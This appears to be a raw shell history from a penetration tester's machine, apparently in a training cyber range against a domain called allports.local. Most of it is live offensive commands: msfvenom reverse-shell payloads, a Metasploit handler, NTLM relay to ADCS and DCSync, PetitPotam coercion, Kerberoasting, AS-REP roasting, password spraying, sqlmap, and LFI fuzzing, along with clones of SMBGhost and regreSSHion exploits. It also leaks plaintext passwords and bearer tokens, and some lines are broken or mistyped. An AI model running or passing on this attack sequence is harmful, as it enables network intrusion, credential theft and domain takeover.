_raw: : 1762639017:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 2 -b 200


_raw: : 1762638984:0;nxc ssh ssh_spray -u users -p pass --no-bruteforce


_raw: : 1762638959:0;sudo vim /etc/resolv.conf


_raw: : 1762638959:0;impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support --remove-mic


_raw: : 1762638954:0;impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support --remove-mic


_raw: : 1762638949:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 2 --exclude-length 200


_raw: : 1762638912:0;impacket-GetUserSPNs -no-preauth 'ocooper' -usersfile users -dc-host 10.0.1.6 allports.local/ > out.file


_raw: : 1762638911:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 2 --exclude-length 4561


_raw: : 1762638908:0;sudo vim /etc/resolv.conf


_raw: : 1762638899:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 2 --exclude-length


_raw: : 1762638891:0;impacket-GetNPUsers allports.local/ -usersfile users -format hashcat -outputfile asrepout


_raw: : 1762638890:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 2


_raw:
msfvenom -p linux/x64/shell/reverse_tcp LHOST=10.0.254.206 LPORT=1234 -f c
nc -lvnp 1234


_raw: : 1762638884:0;nxc ldap 10.0.1.6 -u druiz -p 'Sails@way!' --asreproast output.txt


_raw: : 1762638875:0;impacket-GetNPUsers allports.local/ -usersfile users -format hashcat -outputfile asrepout


_raw: : 1762638870:0;impacket-GetNPUsers allports.local/ -usersfile users -format hashcat -outputfile asrepout


_raw: : 1762638870:0;sudo apt install burpsuite


_raw:
cd usr
cd /
cd usr
cd wordlists
ls
cd share
cd wordlists
ls
gzip rockyou.txt.gz
gzip -d rockyou.txt.gz
sudo gzip -d rockyou.txt.gz


_raw:
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>10.0.1.20
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 10.0.1.20
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 10.0.1.21
ip config
ip
ip address
clear
cd /usr/share/nmap/scripts/\
git clone https://github.com/vulnersCom/nmap-vulners.git
sudo git clone https://github.com/vulnersCom/nmap-vulners.git
nmap -sV --script nmap-vulners/ 10.0.1.0/24
nmap -sV --script nmap-vulners/ 10.0.1.0/24 > vulnerabilities.txt
touch vulnerabilities.txt
vim vulnerabilitypentest.txt
clear


_raw: : 1762638844:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 2 -exclude-length


_raw: : 1762638836:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 2 --exclude-length


_raw: : 1762638821:0;gobuster dir --exclude-length -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 2


_raw: : 1762638778:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 2


_raw: : 1762638698:0;ntlmrelayx.py -t http://APT-DC-01.allports.local/certsrv/certrqus.asp -smb2support --adcs --template DomainController


_raw: : 1762638687:0;ntlmrelayx.py -t http://APT-DC-01.allports.local/certsrv/certrqus.asp -smb2support -adcs --template DomainController


_raw: : 1762638674:0;ntlmrelayx.py -t http://APT-DC-01.allports.local/certsrv/certrqus.asp --smb2support --adcs --template DomainController


_raw: : 1762638663:0;ntlmrelayx.py -t http://APT-DC-01.allports.local/certsrv/certrqus.asp -smb2support -adcs --template DomainController


_raw: : 1762638657:0;ntlmrelayx.py -t http://APT-DC-01.allports.local/certsrv/certrqus.asp -smb2support  \xB4 adcs --template DomainController


_raw: : 1762638656:0;mysql --host=10.0.1.15 --port 3306 -u admin mysql --password=blah


_raw:
: 1762638639:0;python3 ntlmrelayx.py \
-t http://APT-DC-01.allports.local/certsrv/certrqus.asp \
-smb2support  \xB4 adcs --template DomainController


_raw: : 1762638631:0;mysql --host=10.0.1.15 -u user mysql --password=blah


_raw: : 1762638625:0;mysql --host=10.0.1.15 -u root mysql --password=blah


_raw: : 1762638621:0;gobuster dir -u http://10.0.1.11:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 2


_raw: : 1762638577:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt


_raw: : 1762638532:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 2


_raw: : 1762638532:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -k -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762638521:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 2 --delay 1s


_raw: : 1762638503:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -k -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762638489:0;ffuf -u "https://10.0.1.99" -H "Host: FUZZ.rooms.allports.tours" -w /usr/share/wordlists/amass/subdomains-top1mil-110000.txt -rate 100


_raw: : 1762638480:0;nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope -k -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762638472:0;curl -X GET -H "Content-Type: application/json" -d '{"status":}' http://10.0.1.14:5001/api/


_raw: : 1762638446:0;curl -X POST -H "Content-Type: application/json" -d '{"status":""}' http://10.0.1.14:5001/api/


_raw: : 1762638442:0;mysql -h 10.0.1.15 -u boatgps -P 3306 -p gps_tracker --ssl-mode=PREFERRED


_raw: : 1762638424:0;curl -H "Content-Type: application/json" -d '{"status":'test'}' http://10.0.1.14:5001/api/


_raw: : 1762638408:0;nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope -k -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762638405:0;curl -X POST -H "Content-Type: application/json" -d '{"status":''}' http://10.0.1.14:5001/api/


_raw: : 1762638399:0;curl -X POST -H "Content-Type: application/json" -d '{"status":}' http://10.0.1.14:5001/api/


_raw: : 1762638389:0;curl -X POST -H "Content-Type: application/json" -d '{"hostname":}' http://10.0.1.14:5001/api/


_raw:
nmap -Pn -sS -sV -O -T4 10.0.1.15 -o4 tcp
nmap -Pn -sS -sV -O -T4 10.0.1.15 -oA tcp
nmap -Pn -sS -sV -O -T4 10.0.1.20 -oA tcp
nmap -Pn -sS -sV -O -T4 10.0.1.21 -oA tcp
ls
mkdir nmap_scans
ls
cd nmap_scans
mkdir 15
cd 15
nmap -Pn -sS -sV -O -T4 10.0.1.15 -oA tcp
cd ..
mkdir 20
cd 20
nmap -Pn -sS -sV -O -T4 10.0.1.20 -oA tcp
ls
cd ..
mkdir 21
cd 21
nmap -Pn -sS -sV -O -T4 10.0.1.21 -oA tcp
mysql -h 10.0.1.15 -P 3306
cd ..
curl -i http://10.0.1.15:8090/
curl -I http://10.0.1.15:8090/
curl -vk http://10.0.1.15:8090/
curl -i http://10.0.1.15:8090/admin
curl -i http://10.0.1.15:8090/console
curl -i http://10.0.1.15:8090/manager
curl -i http://10.0.1.15:8090/jetty
curl -i http://10.0.1.15:3306/
nmap -sV -p 3306 --script=mysql-info -Pn 10.0.1.15
[200~nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
[200~nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 3306 10.0.1.15
200~nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 3306 10.0.1.15
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 3306 10.0.1.15
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer~
curl -I http://10.0.1.21:5985/
upnp -l
upnpc -l
nmap -Pn -sS -sV -O -T4 10.0.1.21
nmap -sU -Pn -sS -sV -O -T4 10.0.1.21
nmap -sU -Pn -sV -O -T4 -p 5985,5986 10.0.1.21
nmap -sU -Pn -sV -O -T4  10.0.1.21


_raw: : 1762638340:0;nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope -k -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762638338:0;ntlmrelayx.py -t dcsync://10.0.1.6 -smb2support


_raw:
sudo apt update
sudo apt-get update
sudo apt install openvas
sudo gvm-setup
ping 10.0.254.206
nmap -Pn -sS -sV -O -T4 10.0.1.21
nmap -Pn -sS -sV -O -T4 10.0.1.20
smbclient -L // 10.0.1.20
smbclient -L //10.0.1.20
enum4linux -a 10.0.1.20
enum4linux -u 10.0.1.20
enum4linux -U 10.0.1.20
enumdomusers
nbtscan 10.0.1.20
cd /api/
smbclient -L //10.0.1.20
sudo apt-get wappalyzer
dirb bb-b143.rooms.allports.tours
dirb http://bb-b143.rooms.allports.tours/
ip a
sudo python -m http.server 8080
dirb http://bb-b143.rooms.allports.tours/
sudo vi /etc/hosts


_raw: : 1762638302:0;mysql -h 10.0.1.15 -u boatgps -P 3306 -p gps_tracker --ssl-mode=DISABLED


_raw: : 1762638298:0;nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope -k -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw:
nslookup 10.0.1.6
nslookup prod.allports.local
clear
openssl -s client 10.0.1.6
clear
.\ip_lookup.ps1 10.0.1.6
clear
pip install impacket
apt install -python3-xyz
clear
nslookup -q=SRV _ldap._tcp.dc._msdcs.allports.local
clear
nmap 10.0.1.21


_raw: : 1762638295:0;curl -X POST -H "Content-Type: application/json" -d '{"status":""}' http://10.0.1.14:5001/api/


_raw: : 1762638269:0;curl -X POST -H "Content-Type: application/json" -d '{"status":"good"}' http://10.0.1.14:5001


_raw: : 1762638267:0;curl -X POST -H "Content-Type: application/json" -d '{"test": "willthispost"}' http://10.0.1.14:5001


_raw: : 1762638249:0;nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope -k -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762638241:0;curl -X POST -H "Content-Type: application/json" -d '{"status":"test"}' http://10.0.1.14:5001


_raw: : 1762638233:0;nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope -k -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762638232:0;curl -X POST -H "Content-Type: application/json" -d '{"status":"Emergency Notification System"}' http://10.0.1.14:5001


_raw: : 1762638223:0;curl -X POST -H -H "Content-Type: application/json" -d '{"status":"Emergency Notification System"}' http://10.0.1.14:5001


_raw: : 1762638214:0;curl -X POST -H -H "Content-Type: application/json" -d '{"status":"Emergency Notification System"}' 10.0.1.14:5001


_raw: : 1762638212:0;nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762638196:0;curl -X POST -H -H "Content-Type: application/json" -d '{"status":"test"}' 10.0.1.14:5001


_raw: : 1762638179:0;git clone https://github.com/topotam/PetitPotam


_raw: : 1762638108:0;curl -v -X GET http://bb-a173.rooms.allports.tours/api/announcements


_raw:
ping 10.0.1.6
clear
host 10.0.1.6
nslookup 10.0.1.6
clear
nmap 10.0.1.6
clear
nmap -sv 10.0.1.6
clear
nmap -F 10.0.1.6
nmap -ST 10.0.1.6
nmap -ST 10.0.1.6/24
c;ear
nmap -ST '10.0.1.6'
clear
nmap 10.0.1.6
clear
ldapdomainsearch 10.0.1.6
clear


_raw: : 1762638100:0;curl -v -X POST http://bb-a173.rooms.allports.tours/api/announcements


_raw:
rdesktop
rdesktop 10.0.1.6
rdesktop 10.0.1.20
bloodhound
dig BB-B143.rooms.allports.tours
dig bb-a006.rooms.allports.tours
smbclient -h
smbclient --usage
smbclient --help
smbclient -I 10.0.1.6
smbclient -I 10.0.1.6 \\
smbclient -I 10.0.1.6 \\\\
help
smbclient -I 10.0.1.6 \\\\
smbclient -I 10.0.1.6 '\\'
nmap -p 139.445 --script smb-enum-shares 10.0.1.6
nmap -p 139,445 --script smb-enum-shares 10.0.1.6
nmap -p 139,445 --script smb-vuln-smb 10.0.1.6
nmap -p 139,445 --script smb-vuln-cve 10.0.1.6
nmap -p 139,445 --script smb-system-info 10.0.1.6
nmap --script smb-system-info 10.0.1.6
smbclient //10.0.1.6
smbclient //10.0.1.6/
smbclient '//10.0.1.6/C$'
smbclient '//10.0.1.6/C$' -N
smbclient '//10.0.1.6/' -N
smbclient '//10.0.1.6' -N
smbclient '//10.0.1.6/ADMIN$' -N
enum4linux -a 10.0.1.6
enum4linux -a 10.0.1.6 -h
enum4linux -a 10.0.1.6 -u guest
enum4linux -a 10.0.1.6 --username guest
enum4linux --help
enum4linux -n 10.0.1.6
enum4linux --help
enum4linux -l 10.0.1.6
rdesktop -h
rdesktop -u "" -p "" 10.0.1.6
rdesktop -u "Guest" -p "" 10.0.1.6
rdesktop -d APT -u "Guest" -p "" 10.0.1.6
smbclient '//10.0.1.6/ADMIN$' -U 'APT/Guest' -N
smbclient '//10.0.1.6/C$' -U 'APT/Guest' -N
smbclient '//10.0.1.6/C$' -U 'APT/Guest'
smbclient '//10.0.1.6/C$' -U Guest -N


_raw: : 1762638054:0;responder -I eth0 -v --disable-ess


_raw: : 1762638012:0;curl -v -X POST http://bb-a173.rooms.allports.tours/api/announcement


_raw: : 1762638005:0;curl -v -X POST http://bb-a173.rooms.allports.tours/api/admin/announcement


_raw: : 1762637940:0;curl -X POST -H "Content-Type: application/json" -d '{"test": "willthispost"}' http://10.0.1.14:80


_raw: : 1762637927:0;cp decryptExcel.js /home/pentester


_raw: : 1762637919:0;dig TXT chat.allports.tours


_raw: : 1762637919:0;gcc -o regreSSHion exploit.c -lpthread


_raw: : 1762637904:0;git clone https://github.com/topotam/PetitPotam.git


_raw:
tcpdump src 10.0.1.10 port 6768
sudo tcpdump src 10.0.1.10 port 6768
sudo tcpdump -n -i any 'src host 10.0.1.10 and port 6768'\


_raw: : 1762637863:0;curl -v -X POST http://admin.rooms.allports.tours/api/admin/announcement -d "authorized=true"


_raw: : 1762637859:0;git clone https://github.com/xonoxitron/regreSSHion


_raw:
: 1762637845:0;\
curl -u admin:IamTheCaptain -X POST http://admin.rooms.allports.tours/api/admin/announcement \\
     -H "Content-Type: application/json" \\
     -d '{"authorized": true}'\


_raw:
: 1762637821:0;\
curl -X POST http://admin.rooms.allports.tours/api/admin/announcement \\
     -H "Content-Type: application/json" \\
     -d '{"authorized": true}'\


_raw: : 1762637805:0;curl -X POST http://admin.rooms.allports.tours/api/admin/announcement -d "authorized=true"


_raw: : 1762637756:0;GetNPUsers.py -dc-ip 10.0.1.6  -usersfile /usr/share/seclists/Usernames/top-usernames-shortlist.txt -no-pass APT/


_raw: : 1762637745:0;GetNPUsers.py -dc-ip 10.0.1.99  -usersfile /usr/share/seclists/Usernames/top-usernames-shortlist.txt -no-pass APT/


_raw: : 1762637745:0;curl http://admin.rooms.allports.tours/api/admin/announcement -d authorized=true


_raw: : 1762637739:0;chmod 777 /home/pentester/tests.txt


_raw: : 1762637737:0;GetNPUsers.py -dc-ip 10.0.1.99  -usersfile /usr/share/seclists/Usernames/top-usernames-shortlist.txt -no-pass APT


_raw: : 1762637731:0;chmod 777 /home/pentester/test


_raw: : 1762637729:0;chmod 777 /home/pentester/te


_raw: : 1762637721:0;GetNPUsers.py -dc-ip 10.0.1.99  -usersfile /usr/share/seclists/Usernames/top-usernames-shortlist.txt


_raw: : 1762637718:0;cp tests.txt /home/pentester


_raw: : 1762637711:0;GetNPUsers.py -dc-ip 10.0.1.99  -userfile /usr/share/seclists/Usernames/top-usernames-shortlist.txt


_raw: : 1762637706:0;gobuster dir -u http://10.0.1.15:8090/ -w /usr/share/wordlists/dirb/common.txt\


_raw: : 1762637700:0;rm -rf /usr/share/responder/logs


_raw: : 1762637692:0;nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' -L


_raw: : 1762637690:0;nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' -


_raw: : 1762637675:0;nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' -X 'whoami'


_raw: : 1762637667:0;nxc smb 10.0.1.9 -u svc_stabilize -p '1gyroscope' -X 'whoami'


_raw: : 1762637447:0;nxc ldap 10.0.1.6 -u druiz -p Sails@way! -M adcs


_raw: : 1762637445:0;python3 -m pipx install impacket\


_raw: : 1762637426:0;sqlmap 10.0.1.11/login --data="email=admin*, password=admin*" -v --dump


_raw: : 1762637407:0;git clone https://github.com/fortra/impacket.git


_raw: : 1762637387:0;nxc ldap 10.0.1.6 -u lpeterson -p Sails@way! --kerberoasting output.txt


_raw: : 1762637374:0;nxc ldap 10.0.1.6 -u aphillips -p Sails@way! --kerberoasting output.txt


_raw: : 1762637353:0;nxc ldap 10.0.1.6 -u druiz -p Sails@way! --kerberoasting output.txt


_raw:
-use enum4linux 10.0.1.6
prod.allports.local -use enum4linux 10.0.1.6
clear
ldapsearch -H ldap://10.0.1.6 -D allports.local0 -w "IsolationKey" -b "dc=search,dc=htb" "(objectClass=user)" description | grep description
ldapdomainsearch 10.0.1.6
clear
netexec smb 10.0.1.6 -u User -p Password -M nopac
clear
netexec smb 10.0.1.6 -u admin -p admin -M nopac
clear
nslookip 10.0.1.6
clear


_raw: : 1762637285:0;git clone https://github.com/dirkjanm/adidnsdump.git


_raw: : 1762637266:0;apt install python3-certipy-ad


_raw: : 1762637246:0;ldapsearch -x -H ldap://10.0.1.6:3268 -b "dc=allports,dc=local" -W "objectclass=account"


_raw: : 1762637226:0;ldapsearch -x -H ldap://10.0.1.6:3268 -b "dc=allports,dc=local" cn uid homedirectory


_raw: : 1762637217:0;ldapsearch -x -H ldap://10.0.1.6:3268 -b "dc=allports,dc=local" -W "objectclass=account" cn uid homedirectory


_raw: : 1762637213:0;msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 10.0.254.206; set LPORT 9999; exploit -j"


_raw: : 1762637193:0;git clone https://github.com/jamf/CVE-2020-0796-RCE-POC.git


_raw: : 1762637190:0;ldapsearch -x -H ldap://10.0.1.6:3268 -b "dc=allports,dc=local" -W "objectclass=account"


_raw: : 1762637170:0;cat network.txt | grep mysql


_raw: : 1762637151:0;git clone https://github.com/Barriuso/SMBGhost_AutomateExploitation.git


_raw: : 1762637147:0;msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 10.0.254.206; set LPORT 9999; exploit -j"


_raw:
: 1762637095:0;curl -i -X POST -H "Content-Type: application/json" \\
  -d '{"email":"admin","password":"12345"}' \\
  'http://10.0.1.11/admin' | sed -n '1,40p'


_raw: : 1762637057:0;msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 10.0.254.206; set LPORT 9999; exploit -j"


_raw:
hydra -l lpeterson -p Sails@way! ssh://10.0.1.15
cd /etc
ls
cd /share
cd ~
ls
cd ..
cd /etc/share
ls
cd /etc
ls
cd ~


_raw: : 1762637029:0;sqlmap -r post.txt -p email, password


_raw:
: 1762637029:0;curl -i -X POST -H "Content-Type: application/json" \\
  -d '{"email":"admin","password":"wrong"}' \\
  'http://10.0.1.11'


_raw: : 1762637018:0;msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 10.0.1.15; set LPORT 9999; exploit -j"


_raw:
: 1762636994:0;curl -i -X POST -H "Content-Type: application/json" \\
  -d '{"email":"admin","password":"wrong"}' \\
  'http://10.0.1.11' | sed -n '1,20p'


_raw: : 1762636990:0;ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u "http://10.0.1.11:8000/local/embed" -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY4ZGFkNjZhMmEwY2VmZmM2ZjdmNWE1YiIsInVzZXJuYW1lIjoicmRhdmlzIiwicHJvdmlkZXIiOiJsZGFwIiwiZW1haWwiOiJyb3NlLmRhdmlzQGFsbHBvcnRzLnRvdXJzIiwiaWF0IjoxNzYyNjM2OTU4LCJleHAiOjE3NjI2Mzc4NTh9.2aDaqLtnDvk0FPMz6g7TJuy2FJYnJYF-ANHr9aqSShI" -H "Content-Type: application/json" -d '{   "filepath": "FUZZ",   "filename": "anything",   "file_content_type": "text",   "file_id": "8f80a65e-5541-4194-bd99-e20c04424123" }'\


_raw: : 1762636918:0;ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u "http://10.0.1.11:8000/" -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY4ZGFkNjZhMmEwY2VmZmM2ZjdmNWE1YiIsInVzZXJuYW1lIjoicmRhdmlzIiwicHJvdmlkZXIiOiJsZGFwIiwiZW1haWwiOiJyb3NlLmRhdmlzQGFsbHBvcnRzLnRvdXJzIiwiaWF0IjoxNzYyNjM2NTgwLCJleHAiOjE3NjI2Mzc0ODB9.Nuumw_Z94rIhTAkuaElc0DOxhgSEKnj4ktFXHFeraKE" -H "Content-Type: application/json" -d '{   "filepath": "FUZZ",   "filename": "anything",   "file_content_type": "text",   "file_id": "8f80a65e-5541-4194-bd99-e20c04424123" }' -x http://10.0.254.103:8080


_raw: : 1762636902:0;git clone https://github.com/Karmakstylez/CVE-2024-6387


_raw: : 1762636836:0;msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.254.201 LPORT=33333 -f python -o file.py


_raw: : 1762636791:0;msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.254.201 LPORT=33333 -f python


_raw: : 1762636788:0;python3 ./main.py | tee main1.py


_raw: : 1762636745:0;python GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip 10.0.1.6 'allports.tours/druiz:Sails@way!'


_raw: : 1762636729:0;smbclient.py -k -no-pass deckhand-02.allports.local


_raw: : 1762636714:0;smbclient.py -k -no-pass deckhand-02.allports.local


_raw: : 1762636713:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=example,dc=com" dn


_raw: : 1762636681:0;python3 GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip 10.0.1.6 'allports.tours/druiz:Sails@way!'


_raw: : 1762636642:0;ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u "http://10.0.1.11:8000/" -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY4ZGFkNjZhMmEwY2VmZmM2ZjdmNWE1YiIsInVzZXJuYW1lIjoicmRhdmlzIiwicHJvdmlkZXIiOiJsZGFwIiwiZW1haWwiOiJyb3NlLmRhdmlzQGFsbHBvcnRzLnRvdXJzIiwiaWF0IjoxNzYyNjM2NTgwLCJleHAiOjE3NjI2Mzc0ODB9.Nuumw_Z94rIhTAkuaElc0DOxhgSEKnj4ktFXHFeraKE" -H "Content-Type: application/json" -d '{   "filepath": "FUZZ",   "filename": "anything",   "file_content_type": "text",   "file_id": "8f80a65e-5541-4194-bd99-e20c04424123" }'\


_raw: : 1762636602:0;python3 GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip 10.0.1.6 'allports.tours/druiz:Sails@way!'


_raw: : 1762636589:0;gobuster dir -u https://chat.allports.tours/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k


_raw:
nikto -h https://allports.tours/ -C all
nikto -h http://10.0.1.99:3306 -C all
nikto -h http://10.0.1.99:8080 -C all
nikto -h http://chat.allports.tour -C all
nikto -h http://10.0.1.1 -C all


_raw: : 1762636567:0;msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.254.201 LPORT=33333 -f python


_raw: : 1762636557:0;ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u "http://10.0.1.11:8000/" -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY4ZGFkNjZhMmEwY2VmZmM2ZjdmNWE1YiIsInVzZXJuYW1lIjoicmRhdmlzIiwicHJvdmlkZXIiOiJsZGFwIiwiZW1haWwiOiJyb3NlLmRhdmlzQGFsbHBvcnRzLnRvdXJzIiwiaWF0IjoxNzYyNjM2NDExLCJleHAiOjE3NjI2MzczMTF9.gHgdm8wFz6iBvdKcjN_bjfcINZkISEnit3rLQrCnLzY" -H "Content-Type: application/json" -d '{   "filepath": "FUZZ",   "filename": "anything",   "file_content_type": "text",   "file_id": "8f80a65e-5541-4194-bd99-e20c04424123" }'


_raw: : 1762636486:0;gobuster dir -u https://chat.allports.tours/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762636477:0;git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git


_raw: : 1762636471:0;ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt


_raw: : 1762636453:0;git clone https://github.com/fortra/impacket.git


_raw:
rdesktop 10.0.1.6
clear
mysql -u '' -p -h 10.0.1.15 -P 3306\
mysql -u 'root' -p -h 10.0.1.15 -P 3306\
clear
sudo apt install armitage
sudo su


_raw: : 1762636348:0;env PATH="$PATH" bash -x ./verifyhydra  hydraoutput.txt http://10.0.1.11:8081 /admin


_raw: : 1762636343:0;sqlmap chat.allports.tours/login --crawl=1


_raw: : 1762636343:0;echo ""> verifyhydra;nano verifyhydra


_raw: : 1762636329:0;sqlmap "chat.allports.tours/login" --crawl=1


_raw: : 1762636264:0;env PATH="$PATH" bash -x ./verifyhydra  hydraoutput.txt http://10.0.1.11:8081 /admin


_raw: : 1762636232:0;env PATH="$PATH" bash -x ./verifyhydra  hydra_out.txt http://10.0.1.11:8081 /admin


_raw: : 1762636214:0;env PATH="$PATH" bash -x ./verifyhydra  hydraoutput.txt http://10.0.1.11:8081 /admin


_raw:
ssh
ssh 10.0.1.6
ldap 10.0.1.6
winrm 10.0.1.6
ftp 10.0.1.6
help
-help
-h
clear
python3 zerologon_tester.py netbiosssn 10.0.1.6
clear
ssh 10.0.1.6
clear
python3 zerologon_tester.py netbios-ssn 10.0.1.6
clear
python3 zerologon_tester.py APT-DC-01.allports.local 10.0.1.6
clear


_raw: : 1762636168:0;nxc smb 10.0.1.21 -u cloudbase-init -p 'Cyb3rrange!' --local-auth


_raw:
clear
GetNPUsers.py -dc-ip 10.0.1.6 -usersfile/usr/share/seclists/Usernames/top-usernames-shortlist.txt -no-pass
clear
-use enum4linux 10.0.1.6
clear


_raw: : 1762636163:0;nxc smb 10.0.1.21 -u cloudbase-init -p 'Cyb3rrange!' -k


_raw: : 1762636160:0;nxc smb 10.0.1.21 -u cloudbase-init -p 'Cyb3rrange!'


_raw:
nano bloodhound.sh
sh ./bloodhound.sh
lsblk
neo
neo4j console
lsblk
df -h
nano ric
nano rice.sh
sudo apt update
ls
rm rockyou.txt
ls
sudo apt update
strings domain_admins.ldif
df -h
rm /tmp
rm -rf /tmp/*
sudo rm -rf /tmp/*
su
df -h
sudo apt update
sh ./bloodhound.sh
blood
bloodhound-python
git clone https://github.com/BloodHoundAD/BloodHound.gitcd BloodHoundwget https://github.com/BloodHoundAD/BloodHound/releases/download/2.0.4/BloodHound-linux-x64.zipunzip BloodHound-linux-x64.zip./Bloodhound
ls
sh ./bloodhound.sh
nano /etc/bhapi/bhapi.json
sudo nano /etc/bhapi/bhapi.json
sudo bloodhound
sharphound
.\SharpHound.exe --CollectionMethods Session --Stealth\
SharpHound --CollectionMethods Session --Stealth\
sharphound --CollectionMethods Session --Stealth\
rpcdump
go install github.com/lkarlslund/ldapnomnom@latest
sudo apt install gccgo-go
go install github.com/lkarlslund/ldapnomnom@latest
ldapnomnom version
ldapdomaindump
ldapdomaindump -m 10.0.1.4
ldapdomaindump -m 10.0.1.6
ls
mkdir 106dump
cd 106dump
ldapdomaindump -m 10.0.1.6
ls
strings domain_groups.
strings domain_groups.grep
strings domain_users.grep
strings domain_users.html
go
cd Dow
cd
cd Downloads
ls
ldapnomnom
./ldapnomnom-linux-x64 version
./ldapnomnom-linux-x64 --input 10m_usernames.txt --output results.txt --server 192.168.0.11 --parallel 4
nano usernames.txt
